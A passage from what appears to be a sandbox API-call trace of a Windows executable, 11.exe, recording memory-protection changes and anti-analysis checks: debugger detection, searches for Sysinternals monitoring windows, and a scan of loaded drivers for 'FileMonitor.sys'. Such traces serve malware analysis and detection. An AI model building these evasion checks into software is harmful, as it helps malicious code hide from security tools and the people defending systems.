lpAddress=0x77c5a520, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x6c1a55 | out: lpflOldProtect=0x6c1a55*=0x20) returned 1 [0053.221] VirtualProtect (in: lpAddress=0x77c5a520, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x6c1a59 | out: lpflOldProtect=0x6c1a59*=0x40) returned 1 [0053.222] VirtualProtect (in: lpAddress=0x77c23fb0, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x6c1a55 | out: lpflOldProtect=0x6c1a55*=0x20) returned 1 [0053.222] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x4b6e41 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0053.223] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x6c9e0e, nSize=0x100 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\11.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\11.exe")) returned 0x1e [0053.223] SetCurrentDirectoryA (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0053.223] GetProcessHeap () returned 0x940000 [0053.223] GetProcAddress (hModule=0x77bb0000, lpProcName="RtlAllocateHeap") returned 0x77bf2dc0 [0053.224] GetVersion () returned 0x23f00206 [0053.224] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x930000 [0053.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x0, Size=0x4) returned 0x955238 [0053.285] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0053.285] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0053.286] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0053.286] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75bb0000 [0056.327] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0056.327] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x761b0000 [0056.327] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0056.327] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x75b70000 [0056.327] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74b70000 [0056.328] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75e90000 [0056.328] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x75bb0000 [0056.328] LoadLibraryA (lpLibFileName="comctl32.dll") returned 0x74400000 [0057.397] LoadLibraryA (lpLibFileName="comdlg32.dll") returned 0x750d0000 [0065.298] SetCurrentDirectoryA (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0065.709] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4b6e41, nSize=0x200 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\11.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\11.exe")) returned 0x1e [0065.709] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\11.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\11.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x244 [0065.709] CreateFileMappingA (hFile=0x244, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x248 [0065.709] MapViewOfFile (hFileMappingObject=0x248, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2c40000 [0065.710] VirtualAlloc (lpAddress=0x0, dwSize=0x1fd200, flAllocationType=0x1000, flProtect=0x4) returned 0x2e40000 [0065.755] FreeLibrary (hLibModule=0x0) returned 0 [0065.756] VirtualFree (lpAddress=0x2e40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0065.765] UnmapViewOfFile (lpBaseAddress=0x2c40000) returned 1 [0065.784] CloseHandle (hObject=0x248) returned 1 [0065.784] CloseHandle (hObject=0x244) returned 1 [0065.813] GetLocalTime (in: lpSystemTime=0x6e789f | out: lpSystemTime=0x6e789f*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x5, wDay=0xc, wHour=0x0, wMinute=0x2, wSecond=0x30, wMilliseconds=0x18c)) [0065.814] VirtualAlloc (lpAddress=0x0, dwSize=0x30d40, flAllocationType=0x1000, flProtect=0x4) returned 0x2470000 [0065.817] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x24b0000 [0065.817] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x4b8324 | out: lpflOldProtect=0x4b8324*=0x2) returned 1 [0065.817] CheckRemoteDebuggerPresent (in: hProcess=0xffffffff, pbDebuggerPresent=0x6ed2e6 | out: pbDebuggerPresent=0x6ed2e6) returned 1 [0065.855] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x6f2479 | out: Wow64Process=0x6f2479) returned 1 [0066.502] VirtualProtect (in: lpAddress=0x401000, dwSize=0x40200, flNewProtect=0x40, lpflOldProtect=0x4b8324 | out: lpflOldProtect=0x4b8324*=0x80) returned 1 [0066.617] FindWindowA (lpClassName="FilemonClass", lpWindowName=0x0) returned 0x0 [0066.618] FindWindowA (lpClassName=0x0, lpWindowName="File Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0066.618] FindWindowA (lpClassName="PROCMON_WINDOW_CLASS", lpWindowName=0x0) returned 0x0 [0066.618] FindWindowA (lpClassName=0x0, lpWindowName="Process Monitor - Sysinternals: www.sysinternals.com") returned 0x0 [0066.618] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x24c0000 [0066.618] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0066.618] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0066.625] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x24c0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x24c0000, ResultLength=0x0) returned 0x0 [0066.627] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntoskrnl.exe") returned -1 [0066.627] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hal.dll") returned -1 [0066.627] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kd.dll") returned -1 [0066.628] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mcupdate_Genuin") returned -1 [0066.628] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msrpc.sys") returned -1 [0066.628] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecdd.sys") returned -1 [0066.628] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="werkernel.sys") returned -1 [0066.628] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLFS.SYS") returned 1 [0066.628] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tm.sys") returned -1 [0066.628] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="PSHED.dll") returned -1 [0066.628] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="BOOTVID.dll") returned 1 [0066.628] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="FLTMGR.SYS") returned -1 [0066.628] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="clipsp.sys") returned 1 [0066.629] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="cmimcext.sys") returned 1 [0066.629] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ntosext.sys") returned -1 [0066.629] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CI.dll") returned 1 [0066.629] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="cng.sys") returned 1 [0066.629] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Wdf01000.sys") returned -1 [0066.629] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WDFLDR.SYS") returned -1 [0066.629] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="SleepStudyHelpe") returned -1 [0066.629] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="acpiex.sys") returned 1 [0066.629] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WppRecorder.sys") returned -1 [0066.629] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ACPI.sys") returned 1 [0066.630] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WMILIB.SYS") returned -1 [0066.630] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="intelpep.sys") returned -1 [0066.630] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WindowsTrustedR") returned -1 [0066.630] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="WindowsTrustedR") returned -1 [0066.630] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pcw.sys") returned -1 [0066.630] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="msisadrv.sys") returned -1 [0066.630] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pci.sys") returned -1 [0066.630] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vdrvroot.sys") returned -1 [0066.630] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pdc.sys") returned -1 [0066.630] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CEA.sys") returned 1 [0066.631] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="partmgr.sys") returned -1 [0066.631] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="spaceport.sys") returned -1 [0066.631] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgr.sys") returned -1 [0066.631] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volmgrx.sys") returned -1 [0066.631] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mountmgr.sys") returned -1 [0066.631] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="storahci.sys") returned -1 [0066.631] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="storport.sys") returned -1 [0066.631] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="EhStorClass.sys") returned 1 [0066.631] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fileinfo.sys") returned 1 [0066.631] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Wof.sys") returned -1 [0066.632] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NTFS.sys") returned -1 [0066.632] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Fs_Rec.sys") returned -1 [0066.632] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ndis.sys") returned -1 [0066.675] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NETIO.SYS") returned -1 [0066.676] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksecpkg.sys") returned -1 [0066.676] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tcpip.sys") returned -1 [0066.676] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fwpkclnt.sys") returned -1 [0066.676] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wfplwfs.sys") returned -1 [0066.676] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="fvevol.sys") returned -1 [0066.676] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volume.sys") returned -1 [0066.677] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="volsnap.sys") returned -1 [0066.677] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdyboost.sys") returned -1 [0066.677] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mup.sys") returned -1 [0066.677] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="iorate.sys") returned -1 [0066.677] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="disk.sys") returned 1 [0066.677] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CLASSPNP.SYS") returned 1 [0066.678] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="crashdmp.sys") returned 1 [0066.678] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="cdrom.sys") returned 1 [0066.678] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="filecrypt.sys") returned 1 [0066.678] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tbs.sys") returned -1 [0066.678] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Null.SYS") returned -1 [0066.678] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Beep.SYS") returned 1 [0066.678] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="BasicDisplay.sy") returned 1 [0066.678] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="watchdog.sys") returned -1 [0066.678] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dxgkrnl.sys") returned 1 [0066.679] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vmbkmclr.sys") returned -1 [0066.679] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="BasicRender.sys") returned 1 [0066.679] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Npfs.SYS") returned -1 [0066.679] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Msfs.SYS") returned -1 [0066.679] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tdx.sys") returned -1 [0066.679] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TDI.SYS") returned -1 [0066.679] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbt.sys") returned -1 [0066.679] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="afd.sys") returned 1 [0066.679] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="vwififlt.sys") returned -1 [0066.679] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="pacer.sys") returned -1 [0066.680] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="netbios.sys") returned -1 [0066.680] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdbss.sys") returned -1 [0066.680] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="csc.sys") returned 1 [0066.680] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="nsiproxy.sys") returned -1 [0066.680] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="npsvctrig.sys") returned -1 [0066.680] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mssmbios.sys") returned -1 [0066.680] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="gpuenergydrv.sy") returned -1 [0066.680] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dfsc.sys") returned 1 [0066.680] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ahcache.sys") returned 1 [0066.680] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="CompositeBus.sy") returned 1 [0066.681] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kdnic.sys") returned -1 [0066.681] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="umbus.sys") returned -1 [0066.681] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HDAudBus.sys") returned -1 [0066.681] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="portcls.sys") returned -1 [0066.681] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="drmk.sys") returned 1 [0066.681] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ks.sys") returned -1 [0066.681] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbehci.sys") returned -1 [0066.681] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBPORT.SYS") returned -1 [0066.681] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="intelppm.sys") returned -1 [0066.682] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="NdisVirtualBus.") returned -1 [0066.682] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="swenum.sys") returned -1 [0066.682] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rdpbus.sys") returned -1 [0066.682] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="usbhub.sys") returned -1 [0066.682] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="USBD.SYS") returned -1 [0066.682] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HdAudio.sys") returned -1 [0066.682] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="ksthunk.sys") returned -1 [0066.682] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="hidusb.sys") returned -1 [0066.682] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDCLASS.SYS") returned -1 [0066.682] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HIDPARSE.SYS") returned -1 [0066.683] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdhid.sys") returned -1 [0066.683] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="kbdclass.sys") returned -1 [0066.683] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouhid.sys") returned -1 [0066.683] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mouclass.sys") returned -1 [0066.683] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_diskdump.s") returned 1 [0066.683] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_storahci.s") returned 1 [0066.683] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dump_dumpfve.sy") returned 1 [0066.683] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="win32k.sys") returned -1 [0066.683] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="win32kfull.sys") returned -1 [0066.683] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="win32kbase.sys") returned -1 [0066.684] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="monitor.sys") returned -1 [0066.684] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="dxgmms2.sys") returned 1 [0066.684] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="TSDDD.dll") returned -1 [0066.684] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="cdd.dll") returned 1 [0066.684] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="luafv.sys") returned -1 [0066.684] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="wcifs.sys") returned -1 [0066.684] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="storqosflt.sys") returned -1 [0066.684] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="registry.sys") returned -1 [0066.684] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="lltdio.sys") returned -1 [0066.684] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mslldp.sys") returned -1 [0066.685] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="rspndr.sys") returned -1 [0066.685] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="HTTP.sys") returned -1 [0066.685] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="bowser.sys") returned 1 [0066.685] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb.sys") returned -1 [0066.685] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb20.sys") returned -1 [0066.685] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mpsdrv.sys") returned -1 [0066.685] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="srvnet.sys") returned -1 [0066.685] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="srv2.sys") returned -1 [0066.685] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mmcss.sys") returned -1 [0066.685] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="mrxsmb10.sys") returned -1 [0066.686] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="Ndu.sys") returned -1 [0066.686] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="peauth.sys") returned -1 [0066.686] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="srv.sys") returned -1 [0066.686] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tcpipreg.sys") returned -1 [0066.686] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="condrv.sys") returned 1 [0066.686] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="tunnel.sys") returned -1 [0066.686] lstrcmpiA (lpString1="FileMonitor.sys", lpString2="e1i63x64.sys") returned 1 [0066.686] VirtualFree (lpAddress=0x24c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.687] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x24c0000 [0066.687] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0066.687] GetProcAddress (hModule=0x77bb0000, lpProcName="NtQuerySystemInformation") returned 0x77c22070 [0066.698] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x24c0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x24c0000, ResultLength=0x0) returned 0x0 [0066.699] lstrcmpiA (lpString1="Filem", lpString2="ntosk") returned -1 [0066.699] lstrcmpiA (lpString1="Filem", lpString2="hal.d") returned -1 [0066.699] lstrcmpiA (lpString1="Filem", lpString2="kd.dl") returned -1 [0066.699] lstrcmpiA (lpString1="Filem", lpString2="mcupd") returned -1 [0066.700] lstrcmpiA (lpString1="Filem", lpString2="msrpc") returned -1 [0066.700] lstrcmpiA (lpString1="Filem", lpString2="ksecd") returned -1 [0066.700] lstrcmpiA (lpString1="Filem", lpString2="werke") returned -1 [0066.700] lstrcmpiA (lpString1="Filem", lpString2="CLFS.") returned 1 [0066.700] lstrcmpiA (lpString1="Filem", lpString2="tm.sy") returned -1 [0066.700] lstrcmpiA (lpString1="Filem", lpString2="PSHED") returned -1 [0066.700] lstrcmpiA (lpString1="Filem", lpString2="BOOTV") returned 1 [0066.700] lstrcmpiA (lpString1="Filem", lpString2="FLTMG") returned -1 [0066.700] lstrcmpiA (lpString1="Filem", lpString2="clips") returned 1 [0066.700] lstrcmpiA (lpString1="Filem", lpString2="cmimc") returned 1 [0066.701] lstrcmpiA (lpString1="Filem", lpString2="ntose") returned -1 [0066.701] lstrcmpiA (lpString1="Filem", lpString2="CI.dl") returned 1 [0066.701] lstrcmpiA (lpString1="Filem", lpString2="cng.s") returned 1 [0066.701] lstrcmpiA (lpString1="Filem", lpString2="Wdf01") returned -1 [0066.701] lstrcmpiA (lpString1="Filem", lpString2="WDFLD") returned -1 [0066.701] lstrcmpiA (lpString1="Filem", lpString2="Sleep") returned -1 [0066.701] lstrcmpiA (lpString1="Filem", lpString2="acpie") returned 1 [0066.701] lstrcmpiA (lpString1="Filem", lpString2="WppRe") returned -1 [0066.701] lstrcmpiA (lpString1="Filem", lpString2="ACPI.") returned 1 [0066.702] lstrcmpiA (lpString1="Filem", lpString2="WMILI") returned -1 [0066.702] lstrcmpiA (lpString1="Filem", lpString2="intel") returned -1 [0066.702] lstrcmpiA (lpString1="Filem", lpString2="Windo") returned -1 [0066.702] lstrcmpiA (lpString1="Filem", lpString2="Windo") returned -1 [0066.702] lstrcmpiA (lpString1="Filem", lpString2="pcw.s") returned -1 [0066.702] lstrcmpiA (lpString1="Filem", lpString2="msisa") returned -1 [0066.702] lstrcmpiA (lpString1="Filem", lpString2="pci.s") returned -1 [0066.702] lstrcmpiA (lpString1="Filem", lpString2="vdrvr") returned -1 [0066.702] lstrcmpiA (lpString1="Filem", lpString2="pdc.s") returned -1 [0066.702] lstrcmpiA (lpString1="Filem", lpString2="CEA.s") returned 1 [0066.703] lstrcmpiA (lpString1="Filem", lpString2="partm") returned -1 [0066.703] lstrcmpiA (lpString1="Filem", lpString2="space") returned -1 [0066.703] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0066.703] lstrcmpiA (lpString1="Filem", lpString2="volmg") returned -1 [0066.703] lstrcmpiA (lpString1="Filem", lpString2="mount") returned -1 [0066.703] lstrcmpiA (lpString1="Filem", lpString2="stora") returned -1 [0066.703] lstrcmpiA (lpString1="Filem", lpString2="storp") returned -1 [0066.703] lstrcmpiA (lpString1="Filem", lpString2="EhSto") returned 1 [0066.703] lstrcmpiA (lpString1="Filem", lpString2="filei") returned 1 [0066.703] lstrcmpiA (lpString1="Filem", lpString2="Wof.s") returned -1 [0066.704] lstrcmpiA (lpString1="Filem", lpString2="NTFS.") returned -1 [0066.704] lstrcmpiA (lpString1="Filem", lpString2="Fs_Re") returned -1 [0066.704] lstrcmpiA (lpString1="Filem", lpString2="ndis.") returned -1 [0066.704] lstrcmpiA (lpString1="Filem", lpString2="NETIO") returned -1 [0066.704] lstrcmpiA (lpString1="Filem", lpString2="ksecp") returned -1 [0066.704] lstrcmpiA (lpString1="Filem", lpString2="tcpip") returned -1 [0066.704] lstrcmpiA (lpString1="Filem", lpString2="fwpkc") returned -1 [0066.704] lstrcmpiA (lpString1="Filem", lpString2="wfplw") returned -1 [0066.704] lstrcmpiA (lpString1="Filem", lpString2="fvevo") returned -1 [0066.704] lstrcmpiA (lpString1="Filem", lpString2="volum") returned -1 [0066.705] lstrcmpiA (lpString1="Filem", lpString2="volsn") returned -1 [0066.705] lstrcmpiA (lpString1="Filem", lpString2="rdybo") returned -1 [0066.705] lstrcmpiA (lpString1="Filem", lpString2="mup.s") returned -1 [0066.705] lstrcmpiA (lpString1="Filem", lpString2="iorat") returned -1 [0066.705] lstrcmpiA (lpString1="Filem", lpString2="disk.") returned 1 [0066.707] lstrcmpiA (lpString1="Filem", lpString2="CLASS") returned 1 [0066.707] lstrcmpiA (lpString1="Filem", lpString2="crash") returned 1 [0066.707] lstrcmpiA (lpString1="Filem", lpString2="cdrom") returned 1 [0066.707] lstrcmpiA (lpString1="Filem", lpString2="filec") returned 1 [0066.707] lstrcmpiA (lpString1="Filem", lpString2="tbs.s") returned -1 [0066.707] lstrcmpiA (lpString1="Filem", lpString2="Null.") returned -1 [0066.708] lstrcmpiA (lpString1="Filem", lpString2="Beep.") returned 1 [0066.708] lstrcmpiA (lpString1="Filem", lpString2="Basic") returned 1 [0066.708] lstrcmpiA (lpString1="Filem", lpString2="watch") returned -1 [0066.708] lstrcmpiA (lpString1="Filem", lpString2="dxgkr") returned 1 [0066.708] lstrcmpiA (lpString1="Filem", lpString2="vmbkm") returned -1 [0066.708] lstrcmpiA (lpString1="Filem", lpString2="Basic") returned 1 [0066.708] lstrcmpiA (lpString1="Filem", lpString2="Npfs.") returned -1 [0066.708] lstrcmpiA (lpString1="Filem", lpString2="Msfs.") returned -1 [0066.708] lstrcmpiA (lpString1="Filem", lpString2="tdx.s") returned -1 [0066.709] lstrcmpiA (lpString1="Filem", lpString2="TDI.S") returned -1 [0066.709] lstrcmpiA (lpString1="Filem", lpString2="netbt") returned -1 [0066.709] lstrcmpiA (lpString1="Filem", lpString2="afd.s") returned 1 [0066.709] lstrcmpiA (lpString1="Filem", lpString2="vwifi") returned -1 [0066.709] lstrcmpiA (lpString1="Filem", lpString2="pacer") returned -1 [0066.709] lstrcmpiA (lpString1="Filem", lpString2="netbi") returned -1 [0066.709] lstrcmpiA (lpString1="Filem", lpString2="rdbss") returned -1 [0066.709] lstrcmpiA (lpString1="Filem", lpString2="csc.s") returned 1 [0066.709] lstrcmpiA (lpString1="Filem", lpString2="nsipr") returned -1 [0066.709] lstrcmpiA (lpString1="Filem", lpString2="npsvc") returned -1 [0066.710] lstrcmpiA (lpString1="Filem", lpString2="mssmb") returned -1 [0066.710] lstrcmpiA (lpString1="Filem", lpString2="gpuen") returned -1 [0066.710] lstrcmpiA (lpString1="Filem", lpString2="dfsc.") returned 1 [0066.710] lstrcmpiA (lpString1="Filem", lpString2="ahcac") returned 1 [0066.715] lstrcmpiA (lpString1="Filem", lpString2="Compo") returned 1 [0066.715] lstrcmpiA (lpString1="Filem", lpString2="kdnic") returned -1 [0066.715] lstrcmpiA (lpString1="Filem", lpString2="umbus") returned -1 [0066.715] lstrcmpiA (lpString1="Filem", lpString2="HDAud") returned -1 [0066.715] lstrcmpiA (lpString1="Filem", lpString2="portc") returned -1 [0066.715] lstrcmpiA (lpString1="Filem", lpString2="drmk.") returned 1 [0066.716] lstrcmpiA (lpString1="Filem", lpString2="ks.sy") returned -1 [0066.716] lstrcmpiA (lpString1="Filem", lpString2="usbeh") returned -1 [0066.716] lstrcmpiA (lpString1="Filem", lpString2="USBPO") returned -1 [0066.716] lstrcmpiA (lpString1="Filem", lpString2="intel") returned -1 [0066.716] lstrcmpiA (lpString1="Filem", lpString2="NdisV") returned -1 [0066.716] lstrcmpiA (lpString1="Filem", lpString2="swenu") returned -1 [0066.716] lstrcmpiA (lpString1="Filem", lpString2="rdpbu") returned -1 [0066.716] lstrcmpiA (lpString1="Filem", lpString2="usbhu") returned -1 [0066.716] lstrcmpiA (lpString1="Filem", lpString2="USBD.") returned -1 [0066.716] lstrcmpiA (lpString1="Filem", lpString2="HdAud") returned -1 [0066.717] lstrcmpiA (lpString1="Filem", lpString2="ksthu") returned -1 [0066.717] lstrcmpiA (lpString1="Filem", lpString2="hidus") returned -1 [0066.771] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x7100a5 | out: Wow64Process=0x7100a5) returned 1 [0067.007] VirtualAlloc (lpAddress=0x0, dwSize=0x94100, flAllocationType=0x1000, flProtect=0x4) returned 0x2b20000 [0067.051] VirtualFree (lpAddress=0x2b20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.117] VirtualAlloc (lpAddress=0x0, dwSize=0x1e528, flAllocationType=0x1000, flProtect=0x4) returned 0x2b20000 [0067.680] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x4b8324 | out: lpflOldProtect=0x4b8324*=0x4) returned 1 [0067.681] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x4b9765 | out: lpflOldProtect=0x4b9765*=0x4) returned 